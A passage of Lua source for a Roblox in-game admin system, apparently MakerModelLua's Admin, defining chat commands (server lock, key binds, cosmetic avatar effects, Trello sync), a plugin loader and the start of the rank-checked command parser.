  7823. [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7824. Settings.ServerLocked = false
  7825. GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
  7826. end};
  7827.  
  7828. [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7829. local OldAge = Settings.MinimumAge
  7830. local Age = tostring(Arguments[1])
  7831. if Age then
  7832. Settings.MinimumAge = Age
  7833. GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
  7834. end
  7835. end};
  7836.  
  7837. [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  7838. if Settings.VIPAdminID <= 1 then
  7839. MARKET:PromptPurchase(Speaker, VIPAdminID)
  7840. else
  7841. CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
  7842. end
  7843. end};
  7844.  
  7845. [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  7846. if Settings.VIPMemberID <= 1 then
  7847. MARKET:PromptPurchase(Speaker, VIPMemberID)
  7848. else
  7849. CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
  7850. end
  7851. end};
  7852.  
  7853. [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
  7854. if tonumber(Arguments[2]) then
  7855. local Players = STRING:Scan(Arguments[1], Speaker)
  7856. local Size = tonumber(Arguments[2])+25
  7857. for _,Player in pairs(Players) do
  7858. if Player.Character then
  7859. if Player.Character:FindFirstChild("Head") then
  7860. if Player.Character.Head:FindFirstChild("Mesh") then
  7861. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  7862. end
  7863. end
  7864. end
  7865. end
  7866. end
  7867. end};
  7868.  
  7869. [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7870. local Players = STRING:Scan(Arguments[1], Speaker)
  7871. for _,Player in pairs(Players) do
  7872. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7873. CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
  7874. Player.Character.Parent = nil
  7875. CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  7876. end
  7877. end
  7878. end};
  7879.  
  7880. [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  7881. GUI:SettingsGui(Speaker)
  7882. end};
  7883.  
  7884. [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7885. if tonumber(Arguments[2]) then
  7886. local Players = STRING:Scan(Arguments[1], Speaker)
  7887. local List = {}
  7888. for _,Player in pairs(Players) do
  7889. if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
  7890. table.insert(List, Player.Name)
  7891. end
  7892. end
  7893. GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
  7894. end
  7895. end};
  7896.  
  7897. [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
  7898. local Players = STRING:Scan(Arguments[1], Speaker)
  7899. for _,Player in pairs(Players) do
  7900. if Player.Character and Player.Character:FindFirstChild("Head") then
  7901. local Char = Player.Character
  7902. Char:BreakJoints()
  7903. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  7904. Obj.Anchored = true
  7905. for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
  7906. local Decal = Instance.new("Decal", Obj)
  7907. Decal.Texture = "rbxassetid://178913323"
  7908. Decal.Face = Face
  7909. end
  7910. end)
  7911. local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
  7912. local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
  7913. Sound1:Play() Sound2:Play()
  7914. coroutine.wrap(function()
  7915. coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
  7916. repeat wait()
  7917. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  7918. SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
  7919. Obj.Transparency = math.random(0,30)/100
  7920. Obj.Reflectance = math.random(0,50)/100
  7921. Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
  7922. end)
  7923. until Char ~= Player.Character or Char.Parent == nil
  7924. end)()
  7925. end
  7926. end
  7927. end, Hidden = true};
  7928.  
  7929. [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
  7930. GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
  7931. end, Http = true};
  7932.  
  7933. [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
  7934. local Players = STRING:Scan(Arguments[1], Speaker)
  7935. for _,Player in pairs(Players) do
  7936. if Player.Character then
  7937. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  7938. Obj.Material = "Neon"
  7939. end)
  7940. end
  7941. end
  7942. end};
  7943.  
  7944. [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7945. local Players = STRING:Scan(Arguments[1], Speaker)
  7946. for _,Player in pairs(Players) do
  7947. if Player.Character then
  7948. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  7949. Obj.Material = "Plastic"
  7950. end)
  7951. end
  7952. end
  7953. end};
  7954.  
  7955. [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
  7956. local Players = STRING:Scan(Arguments[1], Speaker)
  7957. for _,Player in pairs(Players) do
  7958. if Player.Character then
  7959. CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
  7960. Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
  7961. end)
  7962. end
  7963. end
  7964. end, Hidden = true};
  7965.  
  7966. [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7967. local Players = STRING:Scan(Arguments[1], Speaker)
  7968. for _,Player in pairs(Players) do
  7969. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7970. local Pos = Player.Character.Torso.Position
  7971. Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
  7972. local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
  7973. if Answer == "Ok" then
  7974. CORE:AddWaypoint(Player.Name, Pos, Speaker)
  7975. end
  7976. end
  7977. end
  7978. end};
  7979.  
  7980. [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
  7981. local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
  7982. local PlayersTo = STRING:Scan(Arguments[2], Speaker)
  7983. if PlayersFrom and PlayersTo then
  7984. for _,PlayerFrom in pairs(PlayersFrom) do
  7985. for _,PlayerTo in pairs(PlayersTo) do
  7986. if PlayerFrom.Character and PlayerTo.Character then
  7987. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  7988. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
  7989. wait(5)
  7990. Laser:Destroy()
  7991. end)() end
  7992. end
  7993. end
  7994. end
  7995. end
  7996. end};
  7997.  
  7998. [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7999. local Players = STRING:Scan(Arguments[1], Speaker)
  8000. for _,Player in pairs(Players) do
  8001. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8002. Player.Character.Humanoid:Destroy()
  8003. end
  8004. end
  8005. end};
  8006.  
  8007. [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8008. if Plugins then
  8009. local List = {}
  8010. for _,Module in pairs(Plugins:GetChildren()) do
  8011. if Module:IsA("ModuleScript") then
  8012. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8013. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8014. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8015. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
  8016. end
  8017. end
  8018. GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
  8019. else
  8020. GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
  8021. end
  8022. end};
  8023.  
  8024. [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8025. local Players = STRING:Scan(Arguments[1], Speaker)
  8026. for _,Player in pairs(Players) do
  8027. GUI:DetachChat(Player)
  8028. end
  8029. end};
  8030.  
  8031. [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
  8032. GUI:DetachChat(Speaker)
  8033. end};
  8034.  
  8035. [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
  8036. local Players = STRING:Scan(Arguments[1], Speaker)
  8037. for _,Player in pairs(Players) do
  8038. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  8039. local Dead = false
  8040.  
  8041. Player.Character.Humanoid.WalkSpeed = 1
  8042. local Torso = Player.Character.Torso
  8043. local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
  8044. Truck:BreakJoints()
  8045. local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
  8046. local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
  8047. local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
  8048. Truck.Touched:connect(function(Part)
  8049. if Dead == false then
  8050. local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
  8051. if TouchPlayer == Player then
  8052. Dead = true
  8053. Player.Character:BreakJoints()
  8054. SOUND:MakeSound(Truck, 264486467):Play() -- splat
  8055. end
  8056. end
  8057. end)
  8058. SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
  8059. Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
  8060. Delay(5, function()
  8061. Truck:Destroy()
  8062. if Player.Character:FindFirstChild("Humanoid") then
  8063. Player.Character.Humanoid.WalkSpeed = 16
  8064. end
  8065. end)
  8066. end
  8067. end
  8068. end};
  8069.  
  8070. [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
  8071. local Joke = REMOTE:DownloadJoke(Speaker)
  8072. local Players = STRING:Scan(Arguments[1], Speaker)
  8073. for _,Player in pairs(Players) do
  8074. GUI:SendMessage(Player, "Joke", Joke, 19629580)
  8075. end
  8076. end, Http = true};
  8077.  
  8078. [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
  8079. local Joke = REMOTE:DownloadJoke(Speaker)
  8080. GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
  8081. end, Http = true};
  8082.  
  8083. [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
  8084. local Players = STRING:Scan(Arguments[1], Speaker)
  8085. for _,Player in pairs(Players) do
  8086. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
  8087. CORE:InvisiblePlayer(Player)
  8088. local DogContainer = Instance.new("Model", Player.Character)
  8089. DogContainer.Name = "Doge"
  8090. local Dog = CORE:Insert(257489726, DogContainer, true)
  8091. Dog.Head.Transparency = 0.99
  8092. Dog.Name = Player.Name
  8093. Dog:MoveTo(Player.Character.Torso.Position)
  8094. local Weld = Instance.new("Weld", Dog.Torso)
  8095. Weld.Part0 = Player.Character.Torso
  8096. Weld.Part1 = Dog.Torso
  8097. Weld.C0 = CFrame.new(0,-0.4,0)
  8098. for _,Obj in pairs(Dog:GetChildren()) do
  8099. if Obj:IsA("BasePart") then
  8100. Obj.CanCollide = false
  8101. end
  8102. end
  8103.  
  8104. CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
  8105. end
  8106. end
  8107. end};
  8108.  
  8109. [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
  8110. local Key = string.lower(string.sub(Arguments[1],1,1))
  8111. KeyBinds[Speaker.UserId][Key] = Arguments[2]
  8112. GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
  8113. end};
  8114.  
  8115. [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8116. local Key = string.lower(string.sub(Arguments[1],1,1))
  8117. KeyBinds[Speaker.UserId][Key] = nil
  8118. GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
  8119. end};
  8120.  
  8121. [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8122. KeyBinds[Speaker.UserId] = {}
  8123. GUI:SendHint(Speaker, "Unbinded all keys")
  8124. end};
  8125.  
  8126. [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
  8127. local Players = STRING:Scan(Arguments[1], Speaker)
  8128. local Key = string.lower(string.sub(Arguments[2],1,1))
  8129. for _,Player in pairs(Players) do
  8130. KeyBinds[Player.UserId][Key] = Arguments[3]
  8131. GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
  8132. end
  8133. end};
  8134.  
  8135. [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8136. local Players = STRING:Scan(Arguments[1], Speaker)
  8137. local Key = string.lower(string.sub(Arguments[2],1,1))
  8138. for _,Player in pairs(Players) do
  8139. KeyBinds[Player.UserId][Key] = nil
  8140. GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
  8141. end
  8142. end};
  8143.  
  8144. [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
  8145. local Players = STRING:Scan(Arguments[1], Speaker)
  8146. for _,Player in pairs(Players) do
  8147. KeyBinds[Player.UserId] = {}
  8148. GUI:SendHint(Player, "Unbinded all keys")
  8149. end
  8150. end};
  8151.  
  8152. [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8153. local Players = STRING:Scan(Arguments[1], Speaker)
  8154. local Binds = {}
  8155. for _,Player in pairs(Players) do
  8156. for Key,Bind in pairs(KeyBinds[Player.UserId]) do
  8157. table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
  8158. end
  8159. end
  8160. GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
  8161. end};
  8162.  
  8163. [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8164. local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
  8165. local Players = STRING:Scan(ChatSplit[1], Speaker)
  8166. for _,Player in pairs(Players) do
  8167. if Crowns[Player.UserId] then
  8168. Crowns[Player.UserId]:Destroy()
  8169. Crowns[Player.UserId] = nil
  8170. wait()
  8171. end
  8172. CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
  8173. end
  8174. end};
  8175.  
  8176. [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
  8177. local Players = STRING:Scan(Arguments[1], Speaker)
  8178. for _,Player in pairs(Players) do
  8179. if Crowns[Player.UserId] then
  8180. Crowns[Player.UserId]:Destroy()
  8181. Crowns[Player.UserId] = nil
  8182. end
  8183. end
  8184. end};
  8185.  
  8186. [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8187. local MeshList = {}
  8188. for MeshName,Data in pairs(Meshes) do
  8189. table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
  8190. end
  8191. GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
  8192. end};
  8193.  
  8194. [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8195. CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
  8196. end};
  8197.  
  8198. [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
  8199. local Players = STRING:Scan(Arguments[1], Speaker)
  8200. for _,Player in pairs(Players) do
  8201. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  8202. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  8203. Player:ClearCharacterAppearance()
  8204. CORE:GivePackage(Player, 41851073)
  8205. CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
  8206. Player.Character.Head.face.Texture = "rbxassetid://7699086"
  8207. end
  8208. end
  8209. end};
  8210.  
  8211. [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
  8212. local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
  8213. local Players = STRING:Scan(Arguments[1], Speaker)
  8214. for _,Player in pairs(Players) do
  8215. if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
  8216. local Car = CORE:Insert(10479801, Server.Workspace, true)
  8217. local Body = Car["Motor (torque)Chassis"].Part
  8218. Cars[Player.UserId] = Car
  8219. Car:MakeJoints()
  8220. Car.VehicleSeat.MaxSpeed = 50
  8221. Car.VehicleSeat.TurnSpeed = 1.5
  8222. CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
  8223. if Arguments[2] and GUI:GetColor(Arguments[2]) then
  8224. Body.Color = GUI:GetColor(Arguments[2])
  8225. else
  8226. Body.BrickColor = GUI:GetNameColor(Player.Name)
  8227. end
  8228. for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
  8229. if Part.Name ~= "Part" then
  8230. Part.BrickColor = BrickColor.new("Really black")
  8231. Part.Friction = 0.7
  8232. end
  8233. end
  8234. local Light = Instance.new("SpotLight", Body)
  8235. Light.Face = "Back"
  8236. Light.Brightness = 5
  8237. Light.Range = 20
  8238. Light.Color = Color3.new(0,1,1)
  8239. if Player.Character and Player.Character.Torso then
  8240. Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
  8241. Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
  8242. --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
  8243. Weld.Part0 = Car.VehicleSeat
  8244. Weld.Part1 = Player.Character.Torso
  8245. coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
  8246. Delay(0.4, function()
  8247. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
  8248. wait(0.1)
  8249. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
  8250. end)
  8251. end
  8252. local SoundID = 147944604
  8253. if RANK:GetRank(Player) == "Owner" then
  8254. SoundID = 133313356
  8255. Car.VehicleSeat.MaxSpeed = 80
  8256. Body.Material = "DiamondPlate"
  8257. Car.VehicleSeat.Torque = 11
  8258. end
  8259. local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
  8260. Engine:Play()
  8261. coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
  8262. Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
  8263. end if Engine then Engine:Stop() end end)()
  8264. end
  8265. end};
  8266.  
  8267. [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
  8268. local Players = STRING:Scan(Arguments[1], Speaker)
  8269. for _,Player in pairs(Players) do
  8270. if Cars[Player.UserId] then
  8271. Cars[Player.UserId]:Destroy()
  8272. end
  8273. end
  8274. end};
  8275.  
  8276. [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
  8277. for _,Car in pairs(Cars) do
  8278. Car:Destroy()
  8279. end
  8280. Cars = {}
  8281. end};
  8282.  
  8283. [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8284. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  8285. if #Trello.RequiredLists > 0 then
  8286. print("Restarting Trello")
  8287. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  8288. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  8289. REMOTE:TrelloCacheData(Lists)
  8290. end
  8291. end, Http = true};
  8292.  
  8293. [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
  8294. local Operations = {}
  8295. for _,ReplaceData in pairs(StringReplacements) do
  8296. table.insert(Operations, "Replacement: "..ReplaceData[1].." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
  8297. end
  8298. GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
  8299. end};
  8300. --
  8301. }
  8302.  
  8303. if Plugins then
  8304. local PluginNum = 0
  8305. for _,Module in pairs(Plugins:GetChildren()) do
  8306. if Module:IsA("ModuleScript") then
  8307. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8308. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8309. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8310. if Enabled.Value == true then
  8311. PluginNum = PluginNum + 1
  8312. local PluginExe = require(Module)
  8313. for Var,Val in pairs(getfenv()) do
  8314. getfenv(PluginExe)[Var] = Val
  8315. end
  8316. getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  8317. getfenv(PluginExe).script = Module
  8318. getfenv(PluginExe).Script = Module
  8319. getfenv(PluginExe).Version = Version
  8320. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  8321. if not Suc then
  8322. Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
  8323. else
  8324. Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  8325. end
  8326. end
  8327. end
  8328. end
  8329. end
  8330.  
  8331. function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
  8332. if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
  8333. GUI:SettingsGui(Speaker)
  8334. return nil
  8335. end
  8336. if NoPrefixNeeded == nil then NoPrefixNeeded = false end
  8337. local Prefix = Settings.Prefix
  8338. if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
  8339. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  8340. if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
  8341. if Speaker == nil then
  8342. if FakeRank then
  8343. if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
  8344. FakeRank = "Owner"
  8345. end
  8346. else
  8347. FakeRank = "Owner"
  8348. end
  8349. FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
  8350. if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
  8351. Speaker = {
  8352. Name = FakePlayerName or "[ Server ]";
  8353. Character = nil;
  8354. userId = 1;
  8355. PlayerGui = nil;
  8356. Rank = FakeRank or "Owner";
  8357. MakeSupremeOwner = MakeSupremeOwner;
  8358. }
  8359. end
  8360. local Rank = RANK:GetRank(Speaker)
  8361. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  8362.  
  8363. if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
  8364. if NoPrefixNeeded then Prefix = "" end
  8365. local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
  8366.  
  8367. for _,Message in pairs(Messages) do
  8368. for Cmds,Data in pairs(Commands) do -- check all commands
  8369. local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
  8370.  
  8371. if not MessageSplit then break end
  8372.  
  8373. local CommandSaid = false
  8374. for _,Command in pairs(Cmds) do
  8375. if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
  8376. CommandSaid = true
  8377. break
  8378. end
  8379. end
  8380. if CommandSaid == true then -- command said?
  8381. local ExecuteExcuse = ""
  8382. if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
  8383. if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
  8384. ExecuteExcuse = "This command cannot be executed as it is a fun command"
  8385. end
  8386. if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
  8387. ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
  8388. end
  8389. else
  8390. ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
  8391. end
  8392. if ExecuteExcuse == "" then
  8393. if #MessageSplit - 1 < Data[3] then
  8394. ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
  8395. end
  8396. end
  8397. if ExecuteExcuse == "" then
  8398. CORE:Log(CommandLogs, Speaker, Message)
  8399. table.remove(MessageSplit, 1)
  8400. coroutine.wrap(function() wait()
